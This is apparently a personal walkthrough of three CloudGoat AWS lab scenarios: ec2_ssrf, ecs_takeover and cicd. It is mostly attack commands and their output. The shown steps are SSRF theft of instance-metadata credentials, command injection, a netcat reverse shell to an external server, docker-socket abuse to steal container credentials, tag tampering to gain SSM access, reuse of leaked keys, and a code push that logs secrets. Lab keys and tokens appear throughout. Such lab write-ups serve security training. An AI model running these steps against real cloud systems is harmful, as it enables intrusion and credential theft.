export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPj//////////wEaCXVzLWVhc3QtMSJGMEQCIAlmisv976K4apgKJsmzPYo9ySvQMzIR3qUrHoHwdEhgAiBD8Ai8ND2+7gM/uKc1dkZdIe8Noc3NjHwZTSmMGUhazCrEBQjB//////////8BEAIaDDY4MzQ1NDc1NDI4MSIMX5DadwM4cvb794ItKpgFdHWl0mNZpOA/t8dToOCKd0ldo5pUovCm+SNlo3wq32ESFQYQp+C4vbD3beXdkSMLuB3IjbdOmdCqj0O6kYvfhpCdEZhWEGP9VEI74dRebitrsm0/hMBA2K5eHa6qgwWc7ZJZS6Ea5rQmgzYRIWemIBFatpWBgxLGw2+wIWJPfSrYvi2teo5qD706DAgPl/s9vHl+aCkCswj89w1nYet+JQQEppuxmn+oqntA/UbNW9/q9piJMKoWHCD+uNuU5lJe68XmkDlJ5JbN/cI9wUB4CKwv8zvbIP2BDcTfWdwT8PJ0Hd5mgRCqDdaEyz5uhW6eUAwLBaYBuv7N5FjuG6hFWj1EtCMzyzhIws0wTr7p6lv9BxtcEsm1askSDcoHM35pQdymKZmxZ9SImLVzTRmGICn0/wVDKZWoiBkYArNPVNQUxAuhzGLHevEHX09E6wYGY4w3I1pVKLRv50GNQSyHUh3HP8clP5MHCgNPkNqWyOpsK4cDc2QwHknNTJAwD5h4xHPi5JpBvkH5+NfLSCOGgMomVlWJiAeGtosdS2AhtLqR0rjOVmAtaUfBBIjb6F3qTGKJml+qU9W0G5NKWa0nXaj0ceU8KqYJ9PHnddgON5UqJbldf1GT6PcCaubSl9JCi5ebv82P9lp918V7vSAXZlheGFgqToWC0Jts83Sx+/abSyxhPkck3O3lObz4EbQ+O0MPBF/UPopjwz6D+dVdhY6A8n7TG7mqUDGNDGW2PbaxqgbNHLioWHGSS3YirIdVxpR23gcFGokjxhLUaX0dlxekIc31BdnU5lGhHHGDpAgNyVn9zhv258qAlRIDPsVbeSqVLoazZUUWNRLZMGQYBm84iWP6Ju5lVoH6lqrnvlvKJ4AKUsyD6zCQw72nBjqyASJJrKCM7sYS3wYBVV71z9ezNzRmHYV4QTEZzGt2EXyoo1eaWyt/CQy7UuH7nrPwrgUZ0p5pJ2wIAjZbHq2yszj1/O9qZQ5W9RKgjWek8TqKc7QP+7nwjr4r42Drdf3QDaVboIEvb8N/KGLpVum0DPLDzPzsHEyyviX8HAd85mX6Okh4TnogJA5LHGnMZfWjegIk8goh/Wa3ouesASoHR+MYSXvbdvGs9ZPQRyVQvjQfVoU=
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUYJACM2KZS:i-06a297e8e278f4152",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-role-ec2_ssrf_cgidvxydcyqljq/i-06a297e8e278f4152"
# }
Were not assuming the role that is used by the EC2 server. Lets try out our new permissions
aws iam list-attached-role-policies --role-name cg-ec2-role-ec2_ssrf_cgidvxydcyqljq
# No Access
aws iam list-role-policies --role-name cg-ec2-role-ec2_ssrf_cgidvxydcyqljq
# No Access
aws lambda list-functions
# No Access
aws ec2 describe-instances
# No Access
aws s3 ls
# 2023-08-30 11:34:13 cg-secret-s3-bucket-ec2-ssrf-cgidvxydcyqljq
aws s3 ls cg-secret-s3-bucket-ec2-ssrf-cgidvxydcyqljq
# 2023-08-30 11:34:14 62 admin-user.txt
aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidvxydcyqljq/admin-user.txt .
cat admin-user.txt
# AKIAZ6IIT5XURKZJFIOT
# id2KeRbUtgtO9U2BZmtvhlCN5vtmbjDaLvxUMWFI
Viewing the random strings from the file we can guess that they are AWS access keys.
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XURKZJFIOT
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XU5KRZ6PG25",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/shepard-ec2_ssrf_cgidvxydcyqljq"
# }
Checking perms agains with the new credentials we have access to lambda. Lets try to invoke the function
aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidvxydcyqljq output.txt
cat output.txt
# "You win!"
Cleanup
rm -r admin-user.txt output.txt
./cloudgoat.py destroy ec2_ssrf
ECS Takeover
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/ecs_takeover/README.md
./cloudgoat.py create ecs_takeover
# vuln-site = "ec2-54-145-38-139.compute-1.amazonaws.com"
Lets put in the metadata server address as the url (http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=169.254.169.254
).
curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=169.254.169.254/latest/meta-data/iam/security-credentials/
# ...
# <p>169.254.169.254/latest/meta-data/iam/security-credentials/</p>
# <p>cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent</p>
# </body>%
We get the name of the role used on the pod cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=169.254.169.254/latest/meta-data/iam/security-credentials/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent/
The output is all ugly and url encoded. Lets open it instead in a browser and copy it into a new shell. (Still ugly but better)
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU2HB7DV5S
export AWS_SECRET_ACCESS_KEY=CfWQ5vgs8xpeUHSUwS+5UzSLq2t6lC+JOat5VDlC
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPr//////////wEaCXVzLWVhc3QtMSJIMEYCIQCZO0DVqQ+JzHnCmKs0B0tBB+F0EcoK+6MoewkSGecCRQIhAMbBQgJMHgyaDtwOj24v83ztR6n3ridy8/4r39DFzhgRKsEFCML//////////wEQAhoMNjgzNDU0NzU0MjgxIgwewyAbYgZ3qTQ6QzgqlQWPrSuRuRtSR9zZfM/Lsqgp1Qz0ARz+2gYnEe4vzXvAuAqdvwm2OFxm74PiL/5d1MNvUC6qo5S7XEWZz1PimH7PTeV5ZMNllMVwCKdZaBVfhX+sq4O0bRB4P5NrCtdihzgPq6peam3y16a20vrdeKvPADoGtq9shP98Shofl2TldrjROVkU5K3Z78zRsOB3JqxBsKzsv/K0FArYJLpZaJZnMU2pKmxN2mOVUge4vbSW9Ovnl0rpgycR6CEbSmtJ2lgaZJ/K1zcZY/G/X/GcwXCIMGR5Z3G2rRcEZqTjNL3HuW2aNhEMfwYmYzBuvzHV6miX/iBnbEkiI1AloP8LgVcv85J0av572sGaFYVlljO0UH9ajh0tCxs0SWW1w17gpAo8Cbt0SPc70sXxZDwFrO33JcbgOb0NEJX/U9gPk5F6GAt0qsuYBdhiOiKfI9RD7Zf9awjY7MwkVBNodhNTCT/hyXDKtg7b81FLyXHZEqj6ZtdlHe2hwE1u1O6OlcXb0n2xpFAVxplEybBXd/fBxD2Vt26Re4MmgmN4fBZwa91Rmux/hoKY8zikbI+7u4kK/OYGA02fytkEmAJMVpqfQpnYEe9v4pnQSf9olMBACqQcc0xFI6MpNU120wBpSDtDni20u/0kaer199SEKGQRe/a1h1E+4vVct7oAu0Qzq+w2eOqr4Xcym1FduXV6O/VTJLCtk0la1UzsNy6JKpN/NFN6NHBTrBxYN6jAFtYvyK8IFwrGuQMajS/MUxlFX05gyBE0J5waU2tbZaU2djJjLK7SJwj79diq+dGGZDExx/XIg1/4/N5L/+2SngognvJJafUxOlwQB/QlU0B8IDCpxcMgnHjJNTsixKccWlDiP3/AKc6LGcgRMNPxvacGOrABrLH3kCUj4v4dcEGYXj0gyoo/YxkbOOx5W0UOR2HeNXuzzFfJ2VVJU43D/lXrA4USziqbRt7PI+KlfgkPNbXeBYZjvzzSV/2kUEBYS0/EgK646lgL2VKVMflN0GB3uE0MYBHAbRQWj6qZ8OO9o+wVkWayP1onjUeAKupOgG7jdksohvMhZU8KJxEJHIrx8D+RmwC66c/SiENfSi9VPwXe6tnQY7XSei6W5F0XwVk2Cho=
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUQJ5W3EJQN:i-02318ab01b630a97d",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent/i-02318ab01b630a97d"
# }
Were not assuming the ECS task role lets try to find out what perms it has.
aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
# No Access
aws iam list-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
# No Access
Trying different permissions all fail. Lets try some injections into the website
curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=foo+%3B+pwd
# <p>foo ; pwd</p>
# <p>/build
# </p>
We have a command injection, lets poke around on the container
curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=%3B+cat+main.go
# exec := exec.Command("/bin/sh", "-c", "curl "+cmd)
From this line we can see that there is no sanatization on inputs what are being submitted.
curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=%3B+whoami
# root
This is getting annoying having to run all commands throught a web request, lets get a reverse shell. Note that everything can be done with command injection through the website.
- Check if netcat is installed with
http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=%3B+which+nc
- Spin up a public server. Its public IP is 3.238.91.150
- From our server run the following command
netcat -lvp 4444
- From the webpage run the following command
; nc 3.238.91.150 4444 -e /bin/sh
a. The webpage page is now hanging and not loading b. If the shell ever breaks just rerun both steps 3 and 4 - Back on our server we can run shell commands
Lets poke around more
df
# Filesystem 1K-blocks Used Available Use% Mounted on
# overlay 31444972 2624148 28820824 8% /
# tmpfs 65536 0 65536 0% /dev
# tmpfs 483408 0 483408 0% /sys/fs/cgroup
# /dev/nvme0n1p1 31444972 2624148 28820824 8% /etc/resolv.conf
# /dev/nvme0n1p1 31444972 2624148 28820824 8% /etc/hostname
# /dev/nvme0n1p1 31444972 2624148 28820824 8% /etc/hosts
# shm 65536 0 65536 0% /dev/shm
# tmpfs 483408 464 482944 0% /run/docker.sock
Interesting fine when looking at what filesystems are mounted, /run/docker.sock
Lets see what we can fine when investigating the docker socket Ref.
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
[
{
"Id": "c9c70742611b8e77d8eae406d6af427a32c72d47b37f6817235c5ea5227e3eee",
"Names": [
"/ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vulnsite-1-vulnsite-8090b48d90a0ac8b5d00"
],
"Image": "cloudgoat/ecs-takeover-vulnsite:latest",
"ImageID": "sha256:cf9da13f75ef5cd8526046ea4d07ca22edba137116c4096b165ac708e9610c1f",
"Command": "./main",
"Created": 1693415692,
"Ports": [],
"Labels": {
"com.amazonaws.ecs.cluster": "ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster",
"com.amazonaws.ecs.container-name": "vulnsite",
"com.amazonaws.ecs.task-arn": "arn:aws:ecs:us-east-1:0123456789:task/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/1e76dcfdbd73480595d55178e8c99c7f",
"com.amazonaws.ecs.task-definition-family": "cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vulnsite",
"com.amazonaws.ecs.task-definition-version": "1"
},
"State": "running",
"Status": "Up 45 minutes",
"HostConfig": {
"NetworkMode": "host"
},
"NetworkSettings": {...},
"Mounts": [
{
"Type": "bind",
"Source": "/var/run/docker.sock",
"Destination": "/var/run/docker.sock",
"Mode": "",
"RW": true,
"Propagation": "rprivate"
}
]
},
{
"Id": "77a5c85e02c210e3e70e9c3a53b41f12ba4b7efd33d631fc0c09b89dc9d9cc33",
"Names": [
"/ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd-1-privd-b2abff9fa9f8f3af7e00"
],
"Image": "busybox:latest",
"ImageID": "sha256:a416a98b71e224a31ee99cff8e16063554498227d2b696152a9c3e0aa65e5824",
"Command": "sleep 365d",
"Created": 1693415677,
"Ports": [],
"Labels": {
"com.amazonaws.ecs.cluster": "ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster",
"com.amazonaws.ecs.container-name": "privd",
"com.amazonaws.ecs.task-arn": "arn:aws:ecs:us-east-1:0123456789:task/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/87b6b62a6d7e4344b74719312fcd370c",
"com.amazonaws.ecs.task-definition-family": "cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd",
"com.amazonaws.ecs.task-definition-version": "1"
},
"State": "running",
"Status": "Up 45 minutes",
"HostConfig": {
"NetworkMode": "default"
},
"NetworkSettings": {...},
"Mounts": []
}
]
Interesting we can view all of the running containers. Lets try to exec into the privilaged container
curl -s --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["pwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost/containers/77a5c85e02c210e3e70e9c3a53b41f12ba4b7efd33d631fc0c09b89dc9d9cc33/exec
# {"Id":"96c475ad77172340144fdcaba828e30e2e2122c8b0593ebb0d0e55a0b1eebf51"}
The command returns us the ID of the exec session
curl -s --unix-socket /var/run/docker.sock \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://localhost/containers/exec/96c475ad77172340144fdcaba828e30e2e2122c8b0593ebb0d0e55a0b1eebf51/start
# {"message":"starting container with non-empty request body was deprecated since API v1.22 and removed in v1.24"}
Hmmm, dont want to troubleshoot that, lets installed docker directly on the container (Ref). The container is running alphine (looked at /etc/os-release
)
Install with apk add --update docker openr
then service docker start
and verify with docker --version
.
docker container ls
# CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
# c9c70742611b cloudgoat/ecs-takeover-vulnsite:latest "./main" 59 minutes ago Up 59 minutes ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vulnsite-1-vulnsite-8090b48d90a0ac8b5d00
# 77a5c85e02c2 busybox:latest "sleep 365d" 59 minutes ago Up 59 minutes ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd-1-privd-b2abff9fa9f8f3af7e00
# 0a3421807534 amazon/amazon-ecs-agent:latest "/agent" About an hour ago Up About an hour (healthy) ecs-agent
docker exec 77a5c85e02c2 sh -c 'curl 169.254.169.254/latest/meta-data/iam/security-credentials/'
# For some reason it does not output to STDOUT when using wget it does
docker exec 77a5c85e02c2 sh -c 'wget -O- 169.254.169.254/latest/meta-data/iam/security-credentials/'
# cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
Its giving us the node role again, we dont want that. Doing some digging there is a different IP used to get container credentials 🤦.
docker exec 77a5c85e02c2 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
# Credential output
Bingo lets move these credentials to a local shell
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUULEDYCFX
export AWS_SECRET_ACCESS_KEY=o24grNBHZXTvudvuT3JFf3uQZGF0zvwZIhzaafh6
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPv//////////wEaCXVzLWVhc3QtMSJGMEQCIDaK5+8F6191z3SutFWayKoNc1MqaI/wo+TUpx/zXbxqAiBOaEff1HENMxAlnp5Iza1O47QW2KilUGpRNmBJai9+KCrABAjD//////////8BEAIaDDY4MzQ1NDc1NDI4MSIMJXpqDe/YEXaQS11gKpQEyquwdZos3kfIY27MuBPcZwcD4ypiv18jhKEHY31QMYA0SoIwjkk4279fqQli7mIQNUam5zu05rAqwzWzqtuq232f7hYFZUpSseR26bFUHDHW++MflxRjKcLBhwVWgj+7vJH9lMdzw/eVYKKEQYRhwV0iPzrzcsHhg7UKoM8eKp86lIzSbhBgwYjRQLijsIKkoVF7A33ICK8a4VqqTsmmnzkJ6ilE+MsqLR1NPLZC9k1KVNHlJHpccRhHr98XTuOPN0AnA4xlSHvZYlt/B++8ICDkKqG0TmP9H950HyNeaibYhBsK8G+qxPmrxDuXr0qHfseCGh9IYx8hSjUTiQTjU+FNfIDMTtc0gIdDQGqE+VleRaQ6l7c1vOXPqO/sLFhtUtLVBJGGG+LBtnCVL+6pXJA8yVo/lNYVitz94HkCD2NB0EXBN4QR0SmYQrE263X/wILSuVG5pvRrMskbUpCl0HZJn4KIHvp6X60swSxj+QflE+QLNwh7ufYH3OLf3GY49a/rj/lfvwlxi+CJ/7n7fhEaYFBSls1SnuoCxZZ7c9N6oQ4krLGcAPYYUHfdoxVcgIDUYt2PPTqH4oYiE6zFgfhpkTeg3pee+TXK6uZ4AN7Fq5GhqMZ8sKNDYphVpdBuoOu4omkLrgAUGEYWLmSxHVqM4XYupkWn2QlS0N7wyPItJRdzdbi3xbP9YfccvKUGLSTiFzDrkL6nBjqnAQpkPq984gcC4FOQgFwZ8R2Di75Euax73fXTO1YbLCua/Se5fInGI4MCOzAo4zxYGthMGuoNPxM0WQ2l6B6OeCDnHfsSJXDl3KdOZa/VftuRt+8Ezpgm5QDgtOg69Hx7+Zq7hiLiBaSVlXnJxmI+HEbkttNog0wilg1cH/wGOB8LcxgoDRO3XGK4WfmABsS4S2THaK7bQENSQ1W8UzaBjN7XY3PjFY+e
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUQIFNCHB4H:025ae6f276064bfcb5203024639ea43f",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd/025ae6f276064bfcb5203024639ea43f"
# }
aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd
# "PolicyArn": "arn:aws:iam::0123456789:policy/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd"
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd --version-id v1
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"ecs:ListServices",
"ecs:ListTasks",
"ecs:DescribeServices",
"ecs:ListContainerInstances",
"ecs:DescribeContainerInstances",
"ecs:DescribeTasks",
"ecs:ListTaskDefinitions",
"ecs:DescribeClusters",
"ecs:ListClusters",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
],
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-08-30T17:13:40+00:00"
}
}
Do some investigation
aws ecs list-clusters
# {
# "clusterArns": [
# "arn:aws:ecs:us-east-1:0123456789:cluster/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster"
# ]
# }
aws ecs list-container-instances --cluster ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster
# {
# "containerInstanceArns": [
# "arn:aws:ecs:us-east-1:0123456789:container-instance/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/1ff26d08d9184de18f8ab0a232d89f02",
# "arn:aws:ecs:us-east-1:0123456789:container-instance/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/b8f58a634a8f4f9fb62e24bc2cb9fbf6"
# ]
# }
aws ecs list-services --cluster ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster
We seem stuck here with this role. Lets look at what permissions the other role has
aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
# "PolicyArn": "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role"
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
# DefaultVersionId: v7
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role --version-id v7
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ec2:DescribeTags",
"ecs:CreateCluster",
"ecs:DeregisterContainerInstance",
"ecs:DiscoverPollEndpoint",
"ecs:Poll",
"ecs:RegisterContainerInstance",
"ecs:StartTelemetrySession",
"ecs:UpdateContainerInstancesState",
"ecs:Submit*",
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "ecs:TagResource",
"Resource": "*",
"Condition": {
"StringEquals": {
"ecs:CreateAction": [
"CreateCluster",
"RegisterContainerInstance"
]
}
}
}
]
},
"VersionId": "v7",
"IsDefaultVersion": true,
"CreateDate": "2023-03-06T22:19:04+00:00"
}
}
Some jucy permissions; CreateCluster, RegisterContainerInstance, and UpdateContainerInstanceState
Lets drain on of the ECs instances so everything is on one node.
aws ecs update-container-instances-state --cluster ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster --container-instances 1ff26d08d9184de18f8ab0a232d89f02 --status DRAINING
If it takes forever activiate and drain the other container instance.
Back on our reverse shell lets see if the container was moved
docker container ls
# CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
# 7e496bc250fb busybox:latest "sh -c '/bin/sh -c \"…" About a minute ago Up About a minute ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vault-1-vault-aa8d809899e69f921900
docker exec 7e496bc250fb cat FLAG.TXT
{{FLAG_1234677}}
Finally were done, that was long
Another that this could probably have been done was to break docker on the node and then the website task would have been moved by ECS to the other instance.
Cleanup
./cloudgoat.py destroy ecs_takeover
CICD
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cicd/README.md
./cloudgoat.py create cicd
# cloudgoat_output_access_key_id = AKIAZ6IIT5XU6XJQNWUH
# cloudgoat_output_api_url = https://54am1r99ki.execute-api.us-east-1.amazonaws.com/prod
# cloudgoat_output_secret_access_key = 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
Lets see what we have access to with the credentials
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU6XJQNWUH
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUYZY6BUSUI",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/ec2-sandbox-manager"
# }
aws iam list-attached-user-policies --user-name ec2-sandbox-manager
# None
aws iam list-user-policies --user-name ec2-sandbox-manager
# "initial-policy"
aws iam get-user-policy --policy-name initial-policy --user-name ec2-sandbox-manager
{
"UserName": "ec2-sandbox-manager",
"PolicyName": "initial-policy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"ec2:CreateTags",
"ec2:DeleteTags"
],
"Condition": {
"StringLike": {
"ec2:ResourceTag/Environment": [
"dev"
]
}
},
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"ssm:*"
],
"Condition": {
"StringLike": {
"ssm:ResourceTag/Environment": [
"sandbox"
]
}
},
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"ssm:*"
],
"Effect": "Allow",
"Resource": "arn:aws:ssm:*::document/*"
},
{
"Action": [
"iam:List*",
"iam:Describe*",
"iam:Get*",
"ec2:Describe*",
"ec2:List*",
"ssm:Describe*",
"ssm:Get*",
"codecommit:ListRepositories"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "ec2:DescribeInstanceAttribute",
"Effect": "Deny",
"Resource": "*"
},
{
"Action": "sts:GetFederationToken",
"Effect": "Allow",
"Resource": "arn:aws:sts::0123456789:federated-user/ec2-sandbox-manager",
"Sid": "AllowConsoleAccess"
}
]
}
}
Looks like some describe actions, tag, the ability to ssm into sandbox instance, list code commit repositories and get a federation token.
aws ec2 describe-instances
# "InstanceId": "i-0e56028e0f915b483"
# "IamInstanceProfile": {
# "Arn": "arn:aws:iam::0123456789:instance-profile/dev-instance-profile",
# "Id": "AIPAZ6IIT5XU6Z37L5SN2"
# },
# "Tags": [
# {
# "Key": "Name",
# "Value": "dev-instance"
# },
# {
# "Key": "Environment",
# "Value": "dev"
# }
# ],
Looks like we cannot assume it because it does not have a sandbox tag. But we have the permission to change tags, how convenient
aws ec2 create-tags --resources i-0e56028e0f915b483 --tags Key=Environment,Value=sandbox
aws ec2 describe-instances --instance-ids i-0e56028e0f915b483
# Confirm the change
aws ssm start-session --target i-0e56028e0f915b483
# An error occurred (TargetNotConnected) when calling the StartSession operation: i-0e56028e0f915b483 is not connected.
Hmmm lets circle back to the endpoint we got (https://54am1r99ki.execute-api.us-east-1.amazonaws.com/prod
)
curl --request POST \
--url https://54am1r99ki.execute-api.us-east-1.amazonaws.com/prod/hello \
--header 'Content-Type: text/plain' \
--data superSecretData=foo
# {
# "message": "OK"
# }
Did some poking around seem to be an issue in the current version for this scenario. Edit: Pull Request to fix issue
I had to manually update the security group to allow egress traffic from the dev-instance
server. Lets try SSM again…
aws ssm start-session --target i-0e56028e0f915b483
# Starting session with SessionId: ec2-sandbox-manager-0a3108e437880eaa0
# $
$ cd
$ bash
ssm-user@ip-10-0-1-151:~$ ls -la
# total 12
# drwxr-xr-x 3 root root 4096 Aug 31 12:07 .
# drwxr-xr-x 4 root root 4096 Aug 31 12:07 ..
# drwxr-xr-x 2 root root 4096 Aug 31 12:07 .ssh
ssm-user@ip-10-0-1-151:~$ cd .ssh
ssm-user@ip-10-0-1-151:~/.ssh$ ls -l
# total 4
# -rw-r--r-- 1 root root 1676 Aug 31 12:07 id_rsa
ssm-user@ip-10-0-1-151:~/.ssh$ cat id_rsa
Copy the file and bring it back to your local machine (cicd_id_rsa
).
Lets look at what CodeCommit repositories exist.
aws codecommit list-repositories
# {
# "repositories": [
# {
# "repositoryName": "backend-api",
# "repositoryId": "c72b5e83-7916-41e1-88ba-7ba0599870e6"
# }
# ]
# }
Maybe we can use the SSH key to clone the repositoy locally. I found this article on how to setup CodeCommit locally. Seem that we need to have a SSH key attached to our user tho.
Our user does not have or permissions to attach a SSH key, maybe another user does.
aws iam list-users
# developer
# ec2-sandbox-manager
# cloner
aws iam list-ssh-public-keys --user-name developer
aws iam list-ssh-public-keys --user-name ec2-sandbox-manager
# None
aws iam list-ssh-public-keys --user-name cloner
# {
# "SSHPublicKeys": [
# {
# "UserName": "cloner",
# "SSHPublicKeyId": "APKAZ6IIT5XU7I7MSJVI",
# "Status": "Active",
# "UploadDate": "2023-08-31T12:06:18+00:00"
# }
# ]
# }
Lets add the ssh configs to our user & try to clone the repo (aws doc).
chmod 400 ~/cicd_id_rsa
cat > $HOME/.ssh/config << "EOF"
Host git-codecommit.*.amazonaws.com
User APKAZ6IIT5XU7I7MSJVI
IdentityFile ~/cicd_id_rsa
EOF
git clone ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/backend-api
ls -l backend-api
# total 32
# -rw-r--r--@ 1 host staff 184 Aug 31 09:05 Dockerfile
# -rw-r--r--@ 1 host staff 466 Aug 31 09:05 app.py
# -rw-r--r--@ 1 host staff 526 Aug 31 09:05 buildspec.yml
# -rw-r--r--@ 1 host staff 8 Aug 31 09:05 requirements.txt
Lets test the CICD pipeline. I’m going to add the line "foo": "bar",
in the app.py file and try to commit it. It does not have permission to push (codecommit:GitPush
) 😦.
Looking througth the commit history I found some credentials that were commited 😮. Lets see if there still valid
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUSG54FPFP
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUX4DNCCRTO",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/developer"
# }
Back in our user that can view IAM lets see what we got
aws iam list-attached-user-policies --user-name developer
aws iam list-user-policies --user-name developer
# "developer-policy"
aws iam get-user-policy --policy-name developer-policy --user-name developer
{
"UserName": "developer",
"PolicyName": "developer-policy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"codecommit:GitPush",
"codecommit:GitPull",
"codecommit:PutFile"
],
"Effect": "Allow",
"Resource": "arn:aws:codecommit:us-east-1:0123456789:backend-api"
},
{
"Action": [
"codecommit:Get*",
"codecommit:List*",
"codebuild:List*",
"codebuild:BatchGetProjects",
"codebuild:BatchGetBuilds",
"codepipeline:List*",
"codepipeline:Get*",
"codedeploy:List*",
"logs:Get*",
"logs:Describe*"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"*"
],
"Effect": "Deny",
"Resource": "arn:aws:codebuild:us-east-1:0123456789:project/OUTOFSCOPE_simulate-user-activity"
},
{
"Action": "sts:GetFederationToken",
"Effect": "Allow",
"Resource": "arn:aws:sts::0123456789:federated-user/developer",
"Sid": "AllowConsoleAccess"
}
]
}
}
The permissions let use view the codecommit repository and two codebuild pipelines
With viewing the logs we can see everytime the lambda function triggers (same as our curl request).
aws logs describe-log-groups
aws logs describe-log-streams --log-group-name /aws/lambda/backend-api
aws logs get-log-events --log-group-name /aws/lambda/backend-api --log-stream-name '2023/08/31/[$LATEST]bd123057b7664f599b0c8a0c15ad3718'
Now we need to commit our change to the repo.
With the permissions the developer iam user has we cannot commit but we can put a file.
First lets update the app.py file to log the secrets.
print(body)
return 200, "OK"
Printing the body will expose the parameters that were passed in before the
aws codecommit put-file \
--repository-name backend-api \
--branch-name master \
--file-content fileb://app.py \
--file-path app.py \
--parent-commit-id 4fcbec26907904e027d5a20a1f3d0d52d8140158 \
--commit-message "Oops secrets"
Get the parent commit id from this command
aws codecommit get-branch --repository-name backend-api --branch-name master
# {
# "branch": {
# "branchName": "master",
# "commitId": "4fcbec26907904e027d5a20a1f3d0d52d8140158"
# }
# }
Once its commit it may take a minute and then the function should be updated.
Lets look at the cloudwatch lgos again
